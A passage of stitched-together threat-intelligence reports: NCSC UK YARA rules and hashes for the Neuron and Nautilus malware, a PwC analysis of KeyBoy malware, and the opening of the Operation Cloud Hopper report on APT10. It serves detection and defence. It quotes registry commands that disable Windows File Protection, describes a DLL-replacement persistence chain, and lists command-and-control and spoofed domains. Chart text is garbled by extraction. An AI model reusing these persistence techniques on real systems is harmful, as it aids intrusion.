6 of ($str*) TLP WHITE Page 22 of 27 TLP WHITE rule neuron_standalone_signature { meta: description = "Rule for detection of Neuron based on a standalone signature from .NET metadata" author = "NCSC UK" hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29" strings: $a = {eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d128121 1d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211 d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281} $dotnetMagic = "BSJB" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them TLP WHITE Page 23 of 27 TLP WHITE rule neuron_functions_classes_and_vars { meta: description = "Rule for detection of Neuron based on .NET function, variable and class names" author = "NCSC UK" hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29" strings: $class1 = "StorageUtils" ascii $class2 = "WebServer" ascii $class3 = "StorageFile" ascii $class4 = "StorageScript" ascii $class5 = "ServerConfig" ascii $class6 = "CommandScript" ascii $class7 = "MSExchangeService" ascii $class8 = "W3WPDIAG" ascii $func1 = "AddConfigAsString" ascii $func2 = "DelConfigAsString" ascii $func3 = "GetConfigAsString" ascii $func4 = "EncryptScript" ascii $func5 = "ExecCMD" ascii $func6 = "KillOldThread" ascii $func7 = "FindSPath" ascii $var1 = "CommandTimeWait" ascii $dotnetMagic = "BSJB" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of them TLP WHITE Page 24 of 27 TLP WHITE Nautilus File Name Description File Size (bytes) SHA1 SHA256 dcomnetsrv.dll Nautilus Loader DLL 121344 2f742ec3bb7590602bc3e97326f2476a 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 File Name Description File Size (bytes) SHA1 SHA256 oxygen.dll Nautilus Injected payload 620568 ea874ac436223b30743fc9979eed5f2f 5ed61ec7de11922582f07c3488ef943b439ee226 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Nautilus Yara rule nautilus_modified_rc4_loop { meta: description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop" author = "NCSC UK" hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3" strings: $a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $a TLP WHITE Page 25 of 27 TLP WHITE rule nautilus_rc4_key { meta: description = "Rule for detection of Nautilus based on a hardcoded RC4 key" author = "NCSC UK" hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3" strings: $key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $key rule nautilus_common_strings { meta: description = "Rule for detection of Nautilus based on common plaintext strings" author = "NCSC UK" hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3" strings: $ = "nautilus-service.dll" ascii $ = "oxygen.dll" ascii $ = "config_listen.system" ascii $ = "ctx.system" ascii $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them TLP WHITE Page 26 of 27 TLP WHITE Additional Indicators for Forensic Analysis The following indicators can be used to search for the presence of Neuron and Nautilus malware within forensic analysis tools. $zf(-1, $zf(-2, {"instructions":[{"type": App_Web_juvjerf3.dll App_Web_vcplrg8q.dll ar_all2.txt ar_sa.txt Convert.FromBase64String(temp[1]) D68gq#5p0(3Ndsk! dx11.exe ERRORF~1.ASP errorFE.aspx errorfe.aspx.f5dba9b9.compiled intelliAdminRpc J8fs4F4rnP7nFl#f lsa.exe Msnb.exe msrpc.exe Neuron_service owa.exe owa_ar2.bat rexec.exe payload.x64.dll.system service.x64.dll.system TLP WHITE Page 27 of 27 The KeyBoys are back in town www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-backin-town.html Analysis Our analysis starts with a Microsoft Word document named 2017 Q4 Work Plan.docx (with a hash of 292843976600e8ad2130224d70356bfc), which was created on 2017-1011 by a user called Admin , and first uploaded to VirusTotal, a website and file scanning service, on the same day, by a user in South Africa. Curiously, the Word document does not contain any macros, or even an exploit. Rather, it uses a technique recently reported on by SensePost, which allows an attacker to craft a specifically created Microsoft Word document, which uses the Dynamic Data Exchange (DDE) protocol. DDE traditionally allows for the sending of messages between applications that share data, for example from Word to Excel or vice versa. In the case reported on by SensePost, this allowed for the fetching or downloading of remote payloads, using PowerShell for example. Figure 1 Word Error Once we extract the initial document, using 7-zip for example, we can observe the usual structure, and inside, a file called document.xml is of interest. In this XML, a remote payload, in this case a DLL, will be downloaded using PowerShell, moved to the user temporary folder, and run using rundll32.exe, starting in the HOK function or export. Figure 2 shows the relevant part in our XML file. Figure 2 - Download and payload execution This debug.dll is a PE32 binary file with the following properties: md5 hash: 64b2ac701a0d67da134e13b2efc46900 sha1 hash: 1bb516d70591a5a0eb55ee71f9f38597f3640b14 sha256 hash: f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92 size: 531,456 bytes internal DLL name: InstallClient.dll compiler: Microsoft linker: Microsoft Linker(14.0)[DLL32] compilation time: 2017-07-06 08:50:10 This DLL serves as a dropper for the actual payload, and as such the internal name of InstallClient is an apt choice by the threat actor. Developing a Yara rule for the simple dropper DLL, yielded several new binaries: 1dbbdd99cb8d7089ab31efb5dcf09706 5708e0320879de6f9ac928046b1e4f4e a6903d93f9d6f328bcfe3e196fd8c78b cf6f333f99ee6342d6735ac2f6a37c1e ac9b8c82651eafff9a3bbe7c69d69447 d6ddecdb823de235dd650c0f7a2f3d8f We have analysed d6ddecdb823de235dd650c0f7a2f3d8f, which also has InstallClient.dll as its internal name, as it seems to be the earliest dropper DLL used in this campaign, and does not appear to be very different from any of the other DLLs so far uncovered. The DLL starts in the function named Insys, which performs some simple checks, for example, if the current user account is an administrator, and will subsequently call the function named SSSS, which is the main function. A substantial amount of actions will follow according to what s defined in the SSSS function, as follows: Prepare target DLL, in this case rasauto.dll, for replacement in C:\Windows\System32; Stop the service belonging to the target DLL, and use the takeown and icacls commands to gain full permissions for the system service DLL; Disable Windows File Protection, which normally prevents software or users from replacing critical Windows files; Suppress any error messages from Windows from popping up on boot; Copy the target DLL, rasauto.dll, to a new file named rasauto32.dll; Replace the target DLL with the malware s DLL, which is time-stomped in order to evade detection; Start the now malicious service using net.exe and net1.exe; and, Create configuration and keylogs in C:\Windows\system32, using an uncommon extension, in this case .tsp, and additionally create a folder in C:\Programdata for the purpose of screen captures. The malware will also, in some observed cases, output debug or error messages in a newly created file in the user s Application Data folder as DebugLog.TXT, for example: \AppData\Roaming\Microsoft\Windows\Cookies\DebugLog.TXT Then, the original dropper DLL will then be deleted, using a simple batch file that runs in a loop. In Figures 3 to 5, the target DLL, the original and new DLL, as well as the full process flow are shown. Figure 3 - Target DLL, config and keylog file built dynamically on the stack Figure 4 - Real and fake rasauto.dll (rasauto32.dll is the real or original DLL) Figure 5 - Complete process flow While visually there is apparently no difference, due to the malware being time-stomped (altering the created and modified dates of a file or folder), we can however observe a few subtle differences in the real and malicious binary. Figure 6 - Subtle differences As can be seen in Figure 6, the fake DLL has a different link date, some minor spelling mistakes, and does not include the build in the file version details. As the malware also disables Windows File Protection and thus any pop-ups, it may not be immediately obvious to system administrators that a legitimate DLL was actually replaced. The following commands are issued in order to achieve persistence: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SFCDisable /t REG_DWORD /d 4 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v NoPopUpsOnBoot /t REG_DWORD /d 1 /f Taking a look at the Windows registry for our service, RasAuto, short for Remote Access Auto Connection Manager and historically used for connecting dial-up modems to the internet for example, reveals no specific additional modifications. Dllhost.exe is additionally seen to call back or phone home to a hardcoded range of C2 servers, on ports 53, 80, and 443. Figure 7 - Dllhost connecting to a remote address Dllhost usually has no need to connect to the internet or WAN, and as such it is a possible indicator of malicious activity. Attaching a debugger to dllhost.exe, reveals the keylogger files and configuration, replaced DLL file, as well as another folder, which is likely used to store screenshots and other data. Another ASCII string can be discovered in the DLL s config, MDDEFGEGETGIZ, which likely pertains to the specific KeyBoy campaign, or target. Figure 8 - ASCII dump The malware leveraged by KeyBoy has a plethora of functionality, including, but not limited to: Screen grabbing/taking screenshots; Determine public or WAN IP address (using a public IP service), likely for determining a suited target; Gather extended system information, such as information about the operating system, disks, memory and so on; file browser or explorer; Shutdown and reboot commands (in addition to the point below); Launching interactive shells for communicating with the victim machine; Download and upload functionality; and Usage of custom SSL libraries for masquerading C2 traffic. Interestingly enough, the malware developers left several unique debug messages, for example: GetScreenCmd from file:%s Take Screen Error,May no user login! Take Screen Error,service dll not exists Earlier, we mentioned the threat actor uses custom SSL libraries to communicate to the C2. While we have been unable to observe this behavior in any traffic logs, we were able to extract a certificate, which can be found in Appendix B. Converting this certificate to the DER format, we find strings pointing to jessma.org, and an email address, ldcsaa@21cn.com. These belong to projects by a Chinese developer, where one of the tools or libraries is named HP-Socket, which is a High Performance TCP/UDP Socket Component Additionally, said library sported an interesting debug path: D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\Release\TClient.pdb In addition to writing a Yara rule for the dropper DLL and finding additional samples as mentioned above, we repeated the same process for the payload DLL. In Table 1 below, you may find other payloads, with their related and fake, or replaced Windows DLL or service. Hash Impersonated DLL Impersonated service a55b0c98ac3965067d0270a95e60e87e ikeext.dll 2e04cdf98aead9dd9a5210d7e601cca7 rasauto.dll d6ddecdb823de235dd650c0f7a2f3d8f rasauto.dll 1dbbdd99cb8d7089ab31efb5dcf09706 581ddf0208038a90f8bc2cdc75833425 sinet.dll sinet.dll IKE and AuthIP IPsec Keying Modules Remote Access Auto Connection Manager Remote Access Auto Connection Manager Unknown Unknown Table 1 - Impersonated DLLs Sinet.dll may relate to SPlayer, a popular video player in China. Related samples Hunting further, we have discovered similar samples to the ones described above, with additional interesting debug paths: Hash 7d39cef34bdc751e9cf9d46d2f0bef95 29e44cfa7bcde079e9c7afb23ca8ef86 Debug path D:\work\vs\UsbFerry_v2\bin\UsbFerry.pdb E:\Work\VS Project\cyassl-3.3.0\out\SSLClient_x64.pdb Table 2 - Other debug paths Both samples include references to a work folder, and a or VS Project . The latter likely points to a Visual Studio project short name, or VS. While the connection initially seems rather weak, it did hit the same Yara rule as mentioned before and the sample with hash 29e44cfa7bcde079e9c7afb23ca8ef86 additionally includes an SSL certificate, which, when converted, points to another custom SSL library, called WolfSSL, which is a a small, fast, portable implementation of TLS/SSL for embedded devices to the cloud The same hash or binary also includes what we assess to be a campaign name or KeyBoy version identifier, which is weblogic20170727. Another sample which hit our Yara rule is 7aea7486e3a7a839f49ebc61f1680ba3, which was first uploaded to VirusTotal on 2017-08-25. This sample appears to be an older variant of KeyBoy, as there are several plain-text strings present, which are consistent with CitizenLab s report referenced in the introduction. All samples (hashes) and other indicators are provided in Appendix A. Infrastructure We have mapped out the complete infrastructure that we have discovered, using Maltego, as shown in Figure 9. Figure 9 - C2 graphing There was some overlap with the samples and infrastructure, and one email address appears to jump out, which is linked to several domains: 657603405@qq[.]com. This email address does not appear to have been observed before. One other relevant point to note in regards to the infrastructure, is the use of dates, likely relating to campaign names, as part of the C2 servers. Examples include: Weblogic727.xxuz[.]com (2017-07-27 campaign); and, Weblogic1709.zzux[.]com (2017-09-17 campaign). All C2 s are provided in Appendix A. www.pwc.co.uk/cyber Operation Cloud Hopper Exposing a systematic hacking operation with an unprecedented web of global victims April 2017 In collaboration with Contents Foreword Executive summary APT10 as a China-based threat actor Motivations behind APT10 s targeting Shining a light on APT10 s methodology Conclusion Appendices Operation Cloud Hopper Foreword This report is an initial public release of research PwC UK and BAE Systems have conducted into new, sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan. Given the scale of those campaigns, the activity identified here is likely to reflect just a small portion of the threat actor s operations. This report is primarily fact-based. Where we have made an assessment this has been made clear by phraseology such as assess , and the use of estimative language as outlined in Appendix A. By publicly releasing this research, PwC UK and BAE Systems hope to facilitate broad awareness of the attack techniques used so that prevention and detection capabilities can be configured accordingly. It is also hoped that rapid progress can be made within the broader security community to further develop the understanding of the campaign techniques we outline, leading to additional public reports from peers across the security community. As a part of our research and reporting effort, PwC UK and BAE Systems have collaborated with the UK s National Cyber Security Centre (NCSC) under its Certified Incident Response (CIR) scheme to engage and notify managed IT service providers, known affected organisations and other national bodies. Supplementary to this report, an Annex containing our technical analysis will be released. Operation Cloud Hopper Executive summary Since late 2016, PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by a China-based threat actor. We assess this threat actor to almost certainly be the same as the threat actor widely known within the security community as APT10 . The campaign, which we refer to as Operation Cloud Hopper, has targeted managed IT service providers (MSPs), allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally. A number of Japanese organisations have also been directly targeted in a separate, simultaneous campaign by the same actor. We have identified a number of key findings that are detailed below. APT10 has recently unleashed a sustained campaign against MSPs. The compromise of MSP networks has provided broad and unprecedented access to MSP customer networks. Multiple MSPs were almost certainly being targeted from 2016 onwards, and it is likely that APT10 had already begun to do so from as early as 2014. MSP infrastructure has been used as part of a complex web of exfiltration routes spanning multiple victim networks. APT10 has significantly increased its scale and capability since early 2016, including the addition of new custom tools. APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report, which comprehensively detailed the malware s functionality and features, and its use by several China-based threat actors, including APT10. APT10 primarily used PlugX malware from 2014 to 2016, progressively improving and deploying newer versions, while simultaneously standardising their command and control function. We have observed a shift towards the use of bespoke malware as well as open-source tools, which have been customised to improve their functionality. This is highly likely to be indicative of an increase in sophistication. Infrastructure observed in APT10 s most recent campaigns links to previous activities undertaken by the threat actor. The command and control infrastructure used for Operation Cloud Hopper is predominantly dynamic-DNS domains, which are highly interconnected and link to the threat actor s previous operations. The number of dynamic-DNS domains in use by the threat actor has significantly increased since 2016, representative of an increase in operational tempo. Some top level domains used in the direct targeting of Japanese entities share common IP address space with the network of dynamic-DNS domains that we associate with Operation Cloud Hopper. APT10 focuses on espionage activity, targeting intellectual property and other sensitive data. APT10 is known to have exfiltrated a high volume of data from multiple victims, exploiting compromised MSP networks, and those of their customers, to stealthily move this data around the world. The targeted nature of the exfiltration we have observed, along with the volume of the data, is reminiscent of the previous era of APT campaigns pre-2013. PwC UK and BAE Systems assess APT10 as highly likely to be a China-based threat actor. It is a widely held view within the cyber security community that APT10 is a China-based threat actor. Our analysis of the compile times of malware binaries, the registration times of domains attributed to APT10, and the majority of its intrusion activity indicates a pattern of work in line with China Standard Time (UTC+8). The threat actor s targeting of diplomatic and political organisations in response to geopolitical tensions, as well as the targeting of specific commercial enterprises, is closely aligned with strategic Chinese interests. Operation Cloud Hopper APT10 as a China-based threat actor APT10 as a China-based threat actor PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection. It has been in operation since at least 2009, and has evolved its targeting from an early focus on the US defence industrial base (DIB)1 and the technology and telecommunications sector, to a widespread compromise of multiple industries and sectors across the globe, most recently with a focus on MSPs. APT10, a name originally coined by FireEye, is also referred to as Red Apollo by PwC UK, CVNX by BAE Systems, Stone Panda by CrowdStrike, and menuPass Team more broadly in the public domain. The threat actor has previously been the subject of a range of open source reporting, including most notably a report by FireEye comprehensively detailing the threat actor s use of the Poison Ivy malware family2 and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware. Alongside the research and ongoing tracking of APT10 by both PwC UK and BAE s Threat Intelligence teams, PwC UK Incident Response team has been engaged in supporting investigations linked to APT10 compromises. This research has contributed to the assessments and conclusions we have drawn regarding the recent campaign activity by APT10, which represents a shift from previous activities linked to the threat actor. As a result of our analysis of APT10 s activities, we believe that it almost certainly benefits from significant staffing and logistical resources, which have increased over the last three years, with a significant step-change in 2016. Due to the scale of the threat actor s operations throughout 2016 and 2017, we similarly assess it currently comprises multiple teams, each responsible for a different section of the day-to-day operations, namely domain registration, infrastructure management, malware development, target operations, and analysis. APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation, upgrading its capabilities and replatforming to use PlugX. It is highly likely that this is due to the release of the 2013 FireEye report. Our report will detail the most recent campaigns conducted by APT10, including the sustained targeting of MSPs, which we have named Operation Cloud Hopper, and the targeting of a number of Japanese institutions. The defence industrial base comprises the US Department of Defense and a plethora of companies that support the design, development and maintenance of defence assets and enable US military requirements to be met. https://www.dhs.gov/defense-industrial-base-sector https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/ Operation Cloud Hopper Time-based analysis of APT10 s operations Shown in Figure 1 are registration times4, represented in UTC, for known APT10 top level domains since mid-2016, which mark a major uptick in APT10 activity. Figure 1: APT10 domain registration times in UTC Figure 2: APT10 domain registration times in UTC+8 Mapping this to UTC+8, as in Figure 2, shows a standard set of Chinese business hours, including a two-hour midday break. Apr 2017 Apr 2017 Mar 2017 Mar 2017 Feb 2017 Feb 2017 Jan 2017 Jan 2017 Date (days) Date (days) As part of our analysis, we have made a number of observations about APT10 and its profile, which supports our assessment that APT10 is a China-based threat actor. For example, we have identified patterns within the domain registrations and file compilation times associated with APT10 activity. This is almost certainly indicative of a threat actor based in the UTC+8 time zone, which aligns to Chinese Standard Time (CST). Dec 2016 Nov 2016 Dec 2016 Nov 2016 Oct 2016 Oct 2016 Sep 2016 Sep 2016 Aug 2016 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Aug 2016 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Time of Day (UTC) Time of Day (UTC+8) Shifting this to UTC+8 shows a similar timeframe of operation to the domain registrations. There are some outliers, which are likely attributable to the operational nature of this threat actor, such as requirements to work outside normal business hours. Figure 3: Compile times of PlugX, RedLeaves and Quasar in UTC Figure 4: Compile times of PlugX, RedLeaves and Quasar in UTC+8 Jul 2017 Jul 2017 Jan 2017 Jan 2017 Jul 2015 Jul 2015 Jan 2016 Jan 2016 Date (days) Date (days) Further analysis of the compile times of PlugX, RedLeaves and Quasar malware samples used by APT10 reveals a similar pattern in working hours, as shown in Figure 3. Jul 2015 Jan 2015 Jan 2015 Jul 2014 Jul 2014 Jan 2014 Jan 2014 Jul 2013 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Jul 2013 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Time of Day (UTC) Jul 2015 Time of Day (UTC+8) The bubbles shown on Figures 1 through 6 are representative of the number of events observed at that time and date. Operation Cloud Hopper When applying the time shift to the ChChes malware (newly used by APT10) compilation timestamps, we see a different pattern as shown in Figure 5. While this does not align with Chinese business hours, it is likely to be either a result of the threat actor changing its risk profile by attempting to obscure or confuse attribution or a developer s side project that has ended up being used on targeted operations. Based on other technical overlaps, ChChes is highly likely to be exclusively used by APT10. Figure 5: Compile time of ChChes in UTC Figure 6: Compile time of ChChes in UTC+8 Dec 15, 2016 Dec 15, 2016 Dec 1, 2016 Dec 1, 2016 Nov 17, 2016 Date (days) Nov 3, 2016 Nov 3, 2016 Oct 20, 2016 Oct 20, 2016 Oct 6, 2016 Oct 6, 2016 Sep 22, 2016 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Time of Day (UTC+8) Time of Day (UTC) Figure 7: Operational times of APT10 in UTC+8 Thur The sum of this analysis aligns with the evidence provided by the United States Department of Justice indictment against several individuals associated with APT1,5 another Chinabased threat actor, showing a working day starting at 08:00 UTC+8 and finishing at 18:00 UTC+8 with a two hour lunch break from 12:00 UTC+8 until 14:00 UTC+8. To further this analysis, we have observed the threat actor conducting interactive activities primarily between the hours of midnight and 10:00 UTC, as shown in Figure 7. When converting this to UTC+8 we again see a shift to Chinese business hours, with operations occurring between 08:00 and 19:00. It is a realistic probability that the weekend work observed in Figure 7 may be necessary as part of operational requirements. Sep 22, 2016 23:00 Date (days) Nov 17, 2016 18:00 04:00 05:00 17:00 16:0 11:00 10:0 12:00 06:0 Number of events 1-10 11-20 21-30 31-40 41-50 https://www.justice.gov/iso/opa/resources/5122014519132358461949.pdf Operation Cloud Hopper Identifying a change in APT10 targeting APT10 has, in the past, primarily been known for its targeting of government and US defence industrial base organisations, with the earliest known date of its activity being in December 2009. Our research and observations suggest that this targeting continues to date. During the 2013 2014 period there was a general downturn in the threat actor s activities, as was also seen with other related groups. It was widely assessed that this was due to the public release of information surrounding APT1, which exposed its toolset and infrastructure. From our analysis and investigations, we have identified APT10 as actively operating at least two specific campaigns, one targeting MSPs and their clients, and one directly targeting Japanese entities. MSP focused campaign APT10 has almost certainly been undertaking a global operation of unprecedented size and scale targeting a number of MSPs. APT10 has vastly increased the scale and scope of its targeting to include multiple sectors, which has likely been facilitated by its compromise of MSPs. Such providers are responsible for the remote management of customer IT and end-user systems, thus they generally have unfettered and direct access to their clients networks. They may also store significant quantities of customer data on their own internal infrastructure. Other threat actors have previously been observed using a similar method of a supply chain attack, for example, in the compromise of Dutch certificate authority Diginotar in 20116 and the compromise of US retailer Target in 2013.7 The command and control (C2) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains. The various domains are highly-interconnected through shared IP address hosting, even linking back historically to the threat actor s much older operations. At present, the indicators detailing APT10 s operations number into the thousands and cannot be easily visualised. The graph in Figure 8 overleaf depicts a high-level view of the infrastructure used by APT10 throughout 2016. As the campaign has progressed into 2017, the number of dynamicDNS domains in use by the threat actor has significantly increased. The graph in Figure 9, also shown overleaf, extracts one node of the newer C2 from the infrastructure shown in Figure 8 and maps this to the older infrastructure of APT10, as disclosed by FireEye in their 2014 Siesta Campaign blog post8. In terms of timing, it is highly likely that a single party is responsible for all of these domains, based on our observations of infrastructure overlap. Through our investigations, we have identified multiple victims who have been infiltrated by the threat actor. Several of these provide enterprise services or cloud hosting, supporting our assessment that APT10 are almost certainly targeting MSPs. We believe that the observed targeting of MSPs is part of a widescale supply-chain attack. MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10. Given the level of client network access MSPs have, once APT10 has gained access to a MSP, it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims. This, in turn, would provide access to a larger amount of intellectual property and sensitive data. APT10 has been observed to exfiltrate stolen intellectual property via the MSPs, hence evading local network defences. https://security.googleblog.com/2011/08/update-on-attempted-man-in-middle.html https://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/ https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html Operation Cloud Hopper Figure 8: High-level view of infrastructure used by APT10 throughout 2016 Figure 9: Infrastructure graph linking early Plugx domains to recent APT10 domains Operation Cloud Hopper a l m a n uf a ct r in ti o tr i and C o nsu a il Sectors targeted g a n d C ons y an d Min c a ls a n d Li B u si Te c h n olo gy u ti r vi b li c s e cto r d Pr ie n M et a l s o fe s s i o Countries targeted Norway France Canada Finland Sweden Switzerland South Korea Japan India Thailand Brazil South Africa Operation Cloud Hopper Australia Japan focused campaign In a separate series of operations, APT10 has been systematically targeting Japanese organisations using bespoke malware referred to in the public domain as ChChes While linked to APT10, via shared infrastructure, this campaign exhibits some operational differences suggesting a potential sub-division within the threat actor. These operations have seen APT10 masquerading as legitimate Japanese public sector entities (such as the Ministry of Foreign Affairs, Japan International Cooperation Agency and the Liberal Democratic Party of Japan) to gain access to the victim organisations. Targeting of these entities by APT10 is consistent with previous targeting by China-based threat actors of a wide range of industries and sectors in Japan. This includes the targeting of commercial companies, and government agencies, both of which has resulted in the exfiltration of large amounts of data.9 APT10 s standard compromise methodology begins with a spear phishing email sent to the target, usually with an executable attachment designed to lure the victim to open it. Analysis of the filenames associated with some of the latest APT10 malware samples, particularly from late 2016, highlights the use of Japanese language filenames which clearly indicates a campaign targeting Japanese-speaking individuals. Further analysis of these files can be found in Annex B. Table 1 shows some example file names being used by APT10 in this campaign. Table 1: Japanese language filenames used by APT10 Japanese Filename Translation 1102 )._exe 1102 Mainich Newspaper (answer)._exe 2016 1025.exe 2016 Prefectural University Symposium A4_1025.exe (28.11.07).exe Business contact invitation (28.11.07).exe .exe Regarding provision of Individual number.exe Japan-US expansion deterrence conference (e) .exe Foundation of Russian historical association and Composing a unity state history textbook.exe The following is an example of a malicious decoy document referencing Mitsubishi Heavy Industries: Figure 10: Decoy document based on press release from Japanese firm Mitsubishi Heavy Industries detailing the unveiling of their new ABLASER-DUV (Deep Ultraviolet Laser) http://thediplomat.com/2016/04/japans-achilles-heel-cybersecurity/ Operation Cloud Hopper A notable tactic of this APT10 subset is to register C2 domains that closely resemble legitimate Japanese organisations. Table 2 shows a selection of the spoofed domains registered, alongside the email addresses listed at registration and the legitimate impersonated domains. Table 2: Domains observed being impersonated by APT10 Domain Imitating Theme Description bdoncloud[.]com Unknown Cloud Generic Cloud theme catholicmmb[.]com cmmb.org Religion Catholic Medical Mission Board ccfchrist[.]com ccf.org.ph Christ s Commission Fellowship based in Philippines cwiinatonal[.]com cwi.org.uk Christian Witnesses to Israel usffunicef[.]com unicefusa.org salvaiona[.]com salvationarmy.org meiji-ac-jp[.]com meiji.ac.jp u-tokyo-ac-jp[.]com u-tokyo.ac.jp jica-go-jp[.]bike jica.go.jp jica-go-jp[.]biz jica.go.jp jimin-jp[.]biz jimin.jp Liberal Democratic Party of Japan mofa-go-jp[.]com mofa.go.jp Ministry of Foreign Affairs cloud-kingl[.]com cloud-maste[.]com incloud-go[.]com incloud-obert[.]com Charity United States Fund For Unicef The Salvation Army Japan / Academic Meiji University in Japan Japan / Public Sector Japan International Cooperation Agency Tokyo University in Japan Japan International Cooperation Agency The top level C2 domains observed in this campaign share a number of features that can be used to further identify affiliated nodes. Table 3 displaying registrant information can be seen below: Table 3: Known APT10 registration details showing a common name server Domain Registrant email Name Server Contact Name Contact Street belowto[.]com robertorivera@india.com ns1.ititch.com Roberto Rivera 904 Peck Street Manchester, NH 03103 ccfchrist[.]com wenonatmcmurray@india.com ns1.ititch.com Wenona McMurray 824 Ocala Street Winter Park, FL 32789 cloud-maste[.] meganfdelgado@india.com ns1.ititch.com Megan Delgado 3328 Sigley Road Burlingame, KS 66413 poulsenv[.]com abellonav.poulsen@yandex.com ns1.ititch.com Abellona Poulsen unhamj[.]com juanitardunham@india.com ns1.ititch.com Juanita Dunham 745 Melody Lane Richmond, VA 23219 wthelpdesk[.]com armandovalcala@india.com ns1.ititch.com Armando Alcala 608 Irish Lane Madison, WI 53718 Operation Cloud Hopper 2187 Findley Avenue Carrington, ND 58421 None of the domains share identical contact information other than stating that the respective registrants are based in the US. The contact streets, organisations, and names are all distinct between domains. in the report. This connection is highlighted in the infrastructure graph shown in Figure 11 below, where some ChChes C2 domains can be seen in the bottom left, while on the far right are the older APT10 domains referenced in previous reporting. Some of the domains, that do resolve, share common IP address space with the network of dynamic-DNS domains that we associate with Operation Cloud Hopper as detailed earlier Figure 11: Infrastructure graph linking early PlugX domains to recent ChChes domains Operation Cloud Hopper Motivations behind APT10 s targeting A short history of China-based hacking China-based threat actors have a long history of cyber espionage in the traditional political, military and defensive arena, as well as industrial espionage for economic gain. Some of the most notable of these events from the past decade are shown below Figure 12: Timeline of China-based hacking activity 2006-13: APT1 conducted a widespread cyber espionage campaign against hundreds of organisations spanning a number of sectors. Most victims primarily conducted their business in English and had a nexus with China s strategic priorities. 2006 2009: The Night Dragon campaign involved covert cyber attacks on global oil, energy and petrochemical companies and individuals in Kazakhstan, Taiwan, Greece and the US. The attackers used a number of vectors including social engineering and OS vulnerabilities to access proprietary operations and nancial information 2007 2010: Technology, nancial and defence sectors were targeted by Operation Aurora, a campaign attributed to APT17/Aurora Panda. The list of targets included Google, who suffered the loss of intellectual property and attempted access to the Gmail accounts of human rights activists. 2009: GhostNet is the alleged Chinese group responsible for running a global campaign starting in 2009 targeting foreign embassies and ministries, NGOs, news media institutions and Tibet-related organisations. 2008 2009 2010-12: Between 2010 and 2012 organisations in the energy and material manufacturing sectors were targeted. These included Westinghouse Electric, who had technical and design speci cations for pipes, pipe supports and routing stolen in 2010. Additionally, emails of senior decision-makers involved in the business relationship with a Chinese state-owned enterprise were taken. In 2012, SolarWorld was compromised with attackers stealing sensitive business information 